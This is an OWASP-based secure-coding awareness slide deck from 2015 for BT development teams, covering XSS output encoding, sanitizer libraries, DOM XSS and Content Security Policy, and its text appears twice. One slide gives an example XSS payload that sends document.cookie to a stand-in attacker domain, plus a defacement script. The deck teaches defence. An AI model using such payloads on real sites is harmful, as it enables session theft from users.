The OWASP Foundation
http://www.owasp.org
Web Application Defences
Presented to BT Expedite Development Teams
By: Damilola Longe
March 2015
The OWASP Foundation
http://www.owasp.org
WARNING!
THIS IS AN AWARENESS TRAINING.
ALTHOUGH ISSUES COVERED IN THIS TRAINING
ARE BASED ON OWASP TOP 10, THERE ARE MORE
APPLICATION SECURITY ISSUES THAT
DEVELOPERS AND TESTERS NEED TO BE AWARE
OF.
The OWASP Foundation
http://www.owasp.org
Why Application Security Matters
How prevalent are apps in our lives today?
Where is the trend heading towards?
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
2014 Verizon Data Breach Incident Report (DBIR)
The OWASP Foundation
http://www.owasp.org
#1 Security Architecture and Design - DA
===========================
- Strategic effort
Business, Technical and security stakeholders agree on
both the functional and non-functional security
properties of software well before it is built.
The OWASP Foundation
http://www.owasp.org
#2 Security Requirements (SDLC)
=======================
- Functional requirements
Visible and Q/A testable features in the application
E.g. forgot password workflow, authentication
- Non functional requirements - CONTRAST
"Invisible" quality aspects of software
Not easily testable by Q/A
E.g. Password storage, Query parameterisation
Engineering methodologies - the faster the software development
process we are going to use, the more disciplined we would need to be.
The OWASP Foundation
http://www.owasp.org
#3 Password1!
https://www.yahoo.com/tech/here-are-500-passwords-you-probably-
shouldnt-be-using-96467697789.html
http://splashdata.com/press/worstpasswords2013.htm
- Prevent users from using common passwords
- Disable Browser Autocomplete
<form AUTOCOMPLETE =“off”>
<input AUTOCOMPLETE =“off”>
The OWASP Foundation
http://www.owasp.org
#4 ENFORCE “POST” METHOD for
Form submission
Check the HTTP method and if it's not equal POST
– HTTP 405 response code
<form method="post" action="/my/url/">
...
<input type="submit" name="submit"
value="Submit using POST" />
</form>
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Cross Site Scripting
JavaScript Injection
Contextual Output Encoding
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Encoding Output
Safe ways to represent dangerous characters in a web page
Characters Decimal Hexadecimal
HTML
Character Set
Unicode
" (double
quotation
marks)
&#34; &#x22; &quot; u0022
' (single
quotation
mark)
&#39; &#x27; &apos; u0027
& (ampersand) &#38; &#x26; &amp; u0026
< (less than) &#60; &#x3C; &lt; u003c
> (greater
than)
&#62; &#x3E; &gt; u003e
The OWASP Foundation
http://www.owasp.org
<script>
var
badURL=‘https://evileviljim.com/somesite/data=‘ +
document.cookie;
var img = new Image();
img.src = badURL;
</script>
<script>document.body.innerHTML=‘<blink>CYBER IS
COOL</blink>’;</script>
Anatomy of a XSS Attack
The OWASP Foundation
http://www.owasp.org
XSS Attack
Payloads
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
The OWASP Foundation
http://www.owasp.org
#4 Output encoding
Encode Data
Before Use In A Parser
The OWASP Foundation
http://www.owasp.org
XSS Defense by Data Type and Context
Data Type Context Defense
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL URL Validation, avoid javascript:
URLs, Attribute encoding, safe
URL verification
String CSS Strict structural validation, CSS
Hex encoding, good design
HTML HTML Body HTML Validation (JSoup,
AntiSamy, HTML Sanitizer)
Any DOM DOM XSS Cheat Sheet
Untrusted JavaScript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js
Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color,
cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref,
noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title,
usemap, valign, value, vlink, vspace, width
The OWASP Foundation
http://www.owasp.org
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
•No third party libraries or configuration necessary
•This code was designed for high-availability/high-performance
encoding functionality
•Simple drop-in encoding functionality
•Redesigned for performance
•More complete API (uri and uri component encoding, etc) in
some regards.
•Java 1.5+
•Current version 1.1.1
•Last update, January 16th 2015
https://code.google.com/p/owasp-java-
encoder/source/detail?r=57
The OWASP Foundation
http://www.owasp.org
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
HTML Contexts
Encode#forHtml
Encode#forHtmlContent
Encode#forHtmlAttribute
Encode#forHtmlUnquotedAttribute
XML Contexts
Encode#forXml
Encode#forXmlContent
Encode#forXmlAttribute
Encode#forXmlComment
Encode#forCDATA
CSS Contexts
Encode#forCssString
Encode#forCssUrl
JavaScript Contexts
Encode#forJavaScript
Encode#forJavaScriptAttribute
Encode#forJavaScriptBlock
Encode#forJavaScriptSource
URI/URL contexts
Encode#forUri
Encode#forUriComponent
The OWASP Foundation
http://www.owasp.org
The Problem
Web Page built in Java JSP is vulnerable to XSS
The Solution
<%-- Basic HTML Context --%>
<body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body>
<%-- HTML Attribute Context --%>
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<%-- Javascript Block context --%>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg);
</script>
<%-- Javascript Variable context --%>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click
me</button>
The OWASP Foundation
http://www.owasp.org
<b><%= Encode.forHtml(UNTRUSTED)%></b>
<p>Title:<%= Encode.forHtml(UNTRUSTED)%></p>
<textarea name="text">
<%= Encode.forHtmlContent(UNTRUSTED) %>
</textarea>
The OWASP Foundation
http://www.owasp.org
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<input type="text" name="data"
value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
The OWASP Foundation
http://www.owasp.org
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">
<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>">
The OWASP Foundation
http://www.owasp.org
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
Encode.forHtmlContext(untrustedURL)
</a>
The OWASP Foundation
http://www.owasp.org
<button
onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');">
click me</button>
<button
onclick="alert('<%=
Encode.forJavaScriptAttribute(alertMsg) %>');">click
me</button>
<script type="text/javascript”>
var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
The OWASP Foundation
http://www.owasp.org
<div
style="background: url('<%=Encode.forCssUrl(value)%>');">
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
The OWASP Foundation
http://www.owasp.org
Other Encoding Libraries
• Ruby on Rails - http://api.rubyonrails.org/classes/ERB/Util.html
• PHP
– http://twig.sensiolabs.org/doc/filters/escape.html
– http://framework.zend.com/manual/2.1/en/modules/zend.escaper.in
troduction.html
• .NET AntiXSS Library (v4.3 NuGet released June 2, 2014)
– http://www.nuget.org/packages/AntiXss/
• GO - http://golang.org/pkg/html/template/
• Reform Project
– .NET v1/v2, Classic ASP, Python, Perl, JavaScript
– https://www.owasp.org/index.php/Category:OWASP_Encoding_Proje
ct
The OWASP Foundation
http://www.owasp.org
Other Encoding Libraries
• LDAP Encoding Functions
– ESAPI and .NET AntiXSS
• Command Injection Encoding Functions
– Careful here
– ESAPI
• XML Encoding Functions
– OWASP Java Encoder
• http://boldersecurity.github.io/encoder-comparison-reference/
The OWASP Foundation
http://www.owasp.org
Nested Contexts Best to avoid:
an element attribute calling a Javascript function etc - parsing chains
<div
onclick="showError('<%=request.getParameter("errorxyz")%>')"
>An error occurred ....</div>
Here we have a HTML attribute(onClick) and within a
nested Javascript function call (showError).
Parsing order:
1: HTML decode the contents of the onclick attribute.
2: When onClick is selected: Javascript Parsing of showError
So we have 2 contexts here...HTML and Javascript (2 browser parsers).
The OWASP Foundation
http://www.owasp.org
We need to apply "layered" encoding in the RIGHT
order:
1) JavaScript encode
2) HTML Attribute Encode so it "unwinds" properly
and is not vulnerable.
<div onclick="showError ('<%=
Encoder.encodeForHtml(Encoder.encodeForJ
avaScript(
request.getParameter("error")%>')))" >An
error occurred ....</div>
The OWASP Foundation
http://www.owasp.org
#5 Validate input
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
• HTML Sanitizer written in Java which lets you include HTML authored by
third-parties in your web application while protecting against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security review
https://code.google.com/p/owasp-java-html-
sanitizer/wiki/AttackReviewGroundRules.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration (see
below). No XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.build();
String safeHTML = policy.sanitize(untrustedHTML);
The OWASP Foundation
http://www.owasp.org
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer
• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help
satisfy Postel's principle: Be conservative in what you do, be
liberal in what you accept from others.
• Applied to JSON-like content from others, it will produce
well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor
mistakes in encoding and make it easier to embed your
JSON in HTML and XML.
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
JSON Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly
The Solution
JSON Sanitizer can help with two use cases.
1) Sanitizing untrusted JSON on the server that is submitted from the browser in
standard AJAX communication
2) Sanitizing potentially untrusted JSON server-side before sending it to the browser.
The output is a valid Javascript expression, so can be parsed by Javascript's eval
or by JSON.parse.
The OWASP Foundation
http://www.owasp.org
DOM-Based XSS Defense
• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use safe API’s like document.createElement("…"),
element.setAttribute("…","value"), element.appendChild(…) and
$(‘#element’).text(…); to build dynamic interfaces
• Avoid use of HTML rendering methods
• Avoid sending any untrusted data to the JS methods that have a
code execution context like eval(..), setTimeout(..), onclick(..),
onblur(..).
The OWASP Foundation
http://www.owasp.org
 SAFE use of JQuery
 $(‘#element’).text(UNTRUSTED DATA);
UNSAFE use of JQuery
$(‘#element’).html(UNTRUSTED DATA);
The OWASP Foundation
http://www.owasp.org
40
jQuery methods that directly update DOM or can execute
JavaScript
$() or jQuery() .attr()
.add() .css()
.after() .html()
.animate() .insertAfter()
.append() .insertBefore()
.appendTo() Note: .text() updates DOM, but
is safe.
Dangerous jQuery 1.7.2 Data Types
CSS Some Attribute Settings
HTML URL (Potential Redirect)
jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax() jQuery.post()
jQuery.get() load()
jQuery.getScript()
The OWASP Foundation
http://www.owasp.org
 Contextual encoding is a crucial technique needed to stop all
types of XSS
 jqencoder is a jQuery plugin that allows developers to do
contextual encoding in JavaScript to stop DOM-based XSS
 http://plugins.jquery.com/plugin-
tags/security
 $('#element').encode('html', cdata);
JQuery Encoding with
JQencoder
The OWASP Foundation
http://www.owasp.org
Content Security Policy
• Anti-XSS W3C standard
• Content Security Policy latest release version
• https://w3c.github.io/webappsec/specs/content-security-
policy/
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to
instruct the browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content
The OWASP Foundation
http://www.owasp.org
Get rid of XSS, eh?
A script-src directive that doesn‘t contain ‘unsafe-inline’
eliminates a huge class of cross site scripting
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
The OWASP Foundation
http://www.owasp.org
Real world CSP in action
The OWASP Foundation
http://www.owasp.org
What does this report look like?
{
"csp-report"=> {
"document-uri"=>"http://localhost:3000/home",
"referrer"=>"",
"blocked-uri"=>"ws://localhost:35729/livereload",
"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
}
}
The OWASP Foundation
http://www.owasp.org
{
"csp-report"=> {
"document-uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-uri"=>"self",
"violated-directive"=>"inline script base restriction",
"source-file"=>"http://example.com/welcome",
"script-sample"=>"alert(1)",
"line-number"=>81
}
}
What does this report look like?
The OWASP Foundation
http://www.owasp.org
Dependencies Check
Using Components with Known Vulnerabilities
The OWASP Foundation
http://www.owasp.org
“Rugged is NOT the same as “secure” .
Secure is a possible state of affairs at a certain point in time.
But rugged describes staying ahead of the threat over time. Rugged
organizations create secure code as a by product of their culture.
You are rugged because you run the gauntlet, instrument your
organization and your code, constantly experiment to see if
anything breaks, and survive the process of hardening yourself
through real-world experience.
Rugged organizations produce rugged code - designed to withstand
not just today’s threat, but future challenges as well. ”
The Rugged Software Project
The OWASP Foundation
http://www.owasp.org
The Rugged Manifesto
“I am rugged and, more importantly, my code is rugged.
I recognize that software has become a foundation of our modern world.
I recognize the awesome responsibility that comes with this foundational role.
I recognize that my code will be used in ways I cannot anticipate, in ways it was
not designed, and for longer than it was ever intended.
I recognize that my code will be attacked by talented and persistent adversaries
who threaten our physical, economic and national security.
I recognize these things – and I choose to be rugged.
I am rugged because I refuse to be a source of vulnerability or weakness.
I am rugged because I assure my code will support its mission.
I am rugged because my code can face these challenges and persist in spite of
them.
I am rugged, not because it is easy, but because it is necessary and I am up for
the challenge.”
www.ruggedsoftware.org
The OWASP Foundation
http://www.owasp.org
QA?
THANK YOU!
END!

Web Application Defences

  • 1.
    The OWASP Foundation http://www.owasp.org WebApplication Defences Presented to BT Expedite Development Teams By: Damilola Longe March 2015
  • 2.
    The OWASP Foundation http://www.owasp.org WARNING! THISIS AN AWARENESS TRAINING. ALTHOUGH ISSUES COVERED IN THIS TRAINING ARE BASED ON OWASP TOP 10, THERE ARE MORE APPLICATION SECURITY ISSUES THAT DEVELOPERS AND TESTERS NEED TO BE AWARE OF.
  • 3.
    The OWASP Foundation http://www.owasp.org WhyApplication Security Matters How prevalent are apps in our lives today? Where is the trend heading towards?
  • 4.
  • 5.
    The OWASP Foundation http://www.owasp.org 2014Verizon Data Breach Incident Report (DBIR)
  • 6.
    The OWASP Foundation http://www.owasp.org #1Security Architecture and Design - DA =========================== - Strategic effort Business, Technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built.
  • 7.
    The OWASP Foundation http://www.owasp.org #2Security Requirements (SDLC) ======================= - Functional requirements Visible and Q/A testable features in the application E.g. forgot password workflow, authentication - Non functional requirements - CONTRAST "Invisible" quality aspects of software Not easily testable by Q/A E.g. Password storage, Query parameterisation Engineering methodologies - the faster the software development process we are going to use, the more disciplined we would need to be.
  • 8.
    The OWASP Foundation http://www.owasp.org #3Password1! https://www.yahoo.com/tech/here-are-500-passwords-you-probably- shouldnt-be-using-96467697789.html http://splashdata.com/press/worstpasswords2013.htm - Prevent users from using common passwords - Disable Browser Autocomplete <form AUTOCOMPLETE =“off”> <input AUTOCOMPLETE =“off”>
  • 9.
    The OWASP Foundation http://www.owasp.org #4ENFORCE “POST” METHOD for Form submission Check the HTTP method and if it's not equal POST – HTTP 405 response code <form method="post" action="/my/url/"> ... <input type="submit" name="submit" value="Submit using POST" /> </form>
  • 10.
  • 11.
    The OWASP Foundation http://www.owasp.org CrossSite Scripting JavaScript Injection Contextual Output Encoding
  • 12.
  • 13.
  • 14.
    The OWASP Foundation http://www.owasp.org EncodingOutput Safe ways to represent dangerous characters in a web page Characters Decimal Hexadecimal HTML Character Set Unicode " (double quotation marks) &#34; &#x22; &quot; u0022 ' (single quotation mark) &#39; &#x27; &apos; u0027 & (ampersand) &#38; &#x26; &amp; u0026 < (less than) &#60; &#x3C; &lt; u003c > (greater than) &#62; &#x3E; &gt; u003e
  • 15.
    The OWASP Foundation http://www.owasp.org <script> var badURL=‘https://evileviljim.com/somesite/data=‘+ document.cookie; var img = new Image(); img.src = badURL; </script> <script>document.body.innerHTML=‘<blink>CYBER IS COOL</blink>’;</script> Anatomy of a XSS Attack
  • 16.
    The OWASP Foundation http://www.owasp.org XSSAttack Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  • 17.
    The OWASP Foundation http://www.owasp.org #4Output encoding Encode Data Before Use In A Parser
  • 18.
    The OWASP Foundation http://www.owasp.org XSSDefense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 19.
    The OWASP Foundation http://www.owasp.org OWASPJava Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project •No third party libraries or configuration necessary •This code was designed for high-availability/high-performance encoding functionality •Simple drop-in encoding functionality •Redesigned for performance •More complete API (uri and uri component encoding, etc) in some regards. •Java 1.5+ •Current version 1.1.1 •Last update, January 16th 2015 https://code.google.com/p/owasp-java- encoder/source/detail?r=57
  • 20.
    The OWASP Foundation http://www.owasp.org OWASPJava Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtml Encode#forHtmlContent Encode#forHtmlAttribute Encode#forHtmlUnquotedAttribute XML Contexts Encode#forXml Encode#forXmlContent Encode#forXmlAttribute Encode#forXmlComment Encode#forCDATA CSS Contexts Encode#forCssString Encode#forCssUrl JavaScript Contexts Encode#forJavaScript Encode#forJavaScriptAttribute Encode#forJavaScriptBlock Encode#forJavaScriptSource URI/URL contexts Encode#forUri Encode#forUriComponent
  • 21.
    The OWASP Foundation http://www.owasp.org TheProblem Web Page built in Java JSP is vulnerable to XSS The Solution <%-- Basic HTML Context --%> <body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body> <%-- HTML Attribute Context --%> <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <%-- Javascript Block context --%> <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg); </script> <%-- Javascript Variable context --%> <button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click me</button>
  • 22.
    The OWASP Foundation http://www.owasp.org <b><%=Encode.forHtml(UNTRUSTED)%></b> <p>Title:<%= Encode.forHtml(UNTRUSTED)%></p> <textarea name="text"> <%= Encode.forHtmlContent(UNTRUSTED) %> </textarea>
  • 23.
    The OWASP Foundation http://www.owasp.org <inputtype="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <input type="text" name="data" value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
  • 24.
    The OWASP Foundation http://www.owasp.org <%--Encode URL parameter values --%> <a href="/search?value= <%=Encode.forUriComponent(parameterValue)%>&order=1#top"> <%-- Encode REST URL parameters --%> <a href="http://www.codemagi.com/page/ <%=Encode.forUriComponent(restUrlParameter)%>">
  • 25.
    The OWASP Foundation http://www.owasp.org <ahref="<%= Encode.forHTMLAttribute(untrustedURL) %>"> Encode.forHtmlContext(untrustedURL) </a>
  • 26.
    The OWASP Foundation http://www.owasp.org <button onclick="alert('<%=Encode.forJavaScript(alertMsg) %>');"> click me</button> <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button> <script type="text/javascript”> var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>"; alert(msg); </script>
  • 27.
    The OWASP Foundation http://www.owasp.org <div style="background:url('<%=Encode.forCssUrl(value)%>');"> <style type="text/css"> background-color:'<%=Encode.forCssString(value)%>'; </style>
  • 28.
    The OWASP Foundation http://www.owasp.org OtherEncoding Libraries • Ruby on Rails - http://api.rubyonrails.org/classes/ERB/Util.html • PHP – http://twig.sensiolabs.org/doc/filters/escape.html – http://framework.zend.com/manual/2.1/en/modules/zend.escaper.in troduction.html • .NET AntiXSS Library (v4.3 NuGet released June 2, 2014) – http://www.nuget.org/packages/AntiXss/ • GO - http://golang.org/pkg/html/template/ • Reform Project – .NET v1/v2, Classic ASP, Python, Perl, JavaScript – https://www.owasp.org/index.php/Category:OWASP_Encoding_Proje ct
  • 29.
    The OWASP Foundation http://www.owasp.org OtherEncoding Libraries • LDAP Encoding Functions – ESAPI and .NET AntiXSS • Command Injection Encoding Functions – Careful here – ESAPI • XML Encoding Functions – OWASP Java Encoder • http://boldersecurity.github.io/encoder-comparison-reference/
  • 30.
    The OWASP Foundation http://www.owasp.org NestedContexts Best to avoid: an element attribute calling a Javascript function etc - parsing chains <div onclick="showError('<%=request.getParameter("errorxyz")%>')" >An error occurred ....</div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). Parsing order: 1: HTML decode the contents of the onclick attribute. 2: When onClick is selected: Javascript Parsing of showError So we have 2 contexts here...HTML and Javascript (2 browser parsers).
  • 31.
    The OWASP Foundation http://www.owasp.org Weneed to apply "layered" encoding in the RIGHT order: 1) JavaScript encode 2) HTML Attribute Encode so it "unwinds" properly and is not vulnerable. <div onclick="showError ('<%= Encoder.encodeForHtml(Encoder.encodeForJ avaScript( request.getParameter("error")%>')))" >An error occurred ....</div>
  • 32.
  • 33.
  • 34.
    The OWASP Foundation http://www.owasp.org OWASPHTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html- sanitizer/wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration (see below). No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 35.
    The OWASP Foundation http://www.owasp.org SolvingReal World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .build(); String safeHTML = policy.sanitize(untrustedHTML);
  • 36.
    The OWASP Foundation http://www.owasp.org OWASPJSON Sanitizer Project https://www.owasp.org/index.php/OWASP_JSON_Sanitizer • Given JSON-like content, converts it to valid JSON. • This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others. • Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. • Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
  • 37.
    The OWASP Foundation http://www.owasp.org SolvingReal World Problems with the OWASP JSON Sanitizer Project The Problem Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly The Solution JSON Sanitizer can help with two use cases. 1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication 2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
  • 38.
    The OWASP Foundation http://www.owasp.org DOM-BasedXSS Defense • Untrusted data should only be treated as displayable text • JavaScript encode and delimit untrusted data as quoted strings • Use safe API’s like document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…) and $(‘#element’).text(…); to build dynamic interfaces • Avoid use of HTML rendering methods • Avoid sending any untrusted data to the JS methods that have a code execution context like eval(..), setTimeout(..), onclick(..), onblur(..).
  • 39.
    The OWASP Foundation http://www.owasp.org SAFE use of JQuery  $(‘#element’).text(UNTRUSTED DATA); UNSAFE use of JQuery $(‘#element’).html(UNTRUSTED DATA);
  • 40.
    The OWASP Foundation http://www.owasp.org 40 jQuerymethods that directly update DOM or can execute JavaScript $() or jQuery() .attr() .add() .css() .after() .html() .animate() .insertAfter() .append() .insertBefore() .appendTo() Note: .text() updates DOM, but is safe. Dangerous jQuery 1.7.2 Data Types CSS Some Attribute Settings HTML URL (Potential Redirect) jQuery methods that accept URLs to potentially unsafe content jQuery.ajax() jQuery.post() jQuery.get() load() jQuery.getScript()
  • 41.
    The OWASP Foundation http://www.owasp.org Contextual encoding is a crucial technique needed to stop all types of XSS  jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS  http://plugins.jquery.com/plugin- tags/security  $('#element').encode('html', cdata); JQuery Encoding with JQencoder
  • 42.
    The OWASP Foundation http://www.owasp.org ContentSecurity Policy • Anti-XSS W3C standard • Content Security Policy latest release version • https://w3c.github.io/webappsec/specs/content-security- policy/ • Must move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
  • 43.
    The OWASP Foundation http://www.owasp.org Getrid of XSS, eh? A script-src directive that doesn‘t contain ‘unsafe-inline’ eliminates a huge class of cross site scripting I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
  • 44.
  • 45.
    The OWASP Foundation http://www.owasp.org Whatdoes this report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } }
  • 46.
    The OWASP Foundation http://www.owasp.org { "csp-report"=>{ "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81 } } What does this report look like?
  • 47.
    The OWASP Foundation http://www.owasp.org DependenciesCheck Using Components with Known Vulnerabilities
  • 48.
    The OWASP Foundation http://www.owasp.org “Ruggedis NOT the same as “secure” . Secure is a possible state of affairs at a certain point in time. But rugged describes staying ahead of the threat over time. Rugged organizations create secure code as a by product of their culture. You are rugged because you run the gauntlet, instrument your organization and your code, constantly experiment to see if anything breaks, and survive the process of hardening yourself through real-world experience. Rugged organizations produce rugged code - designed to withstand not just today’s threat, but future challenges as well. ” The Rugged Software Project
  • 49.
    The OWASP Foundation http://www.owasp.org TheRugged Manifesto “I am rugged and, more importantly, my code is rugged. I recognize that software has become a foundation of our modern world. I recognize the awesome responsibility that comes with this foundational role. I recognize that my code will be used in ways I cannot anticipate, in ways it was not designed, and for longer than it was ever intended. I recognize that my code will be attacked by talented and persistent adversaries who threaten our physical, economic and national security. I recognize these things – and I choose to be rugged. I am rugged because I refuse to be a source of vulnerability or weakness. I am rugged because I assure my code will support its mission. I am rugged because my code can face these challenges and persist in spite of them. I am rugged, not because it is easy, but because it is necessary and I am up for the challenge.” www.ruggedsoftware.org
  • 50.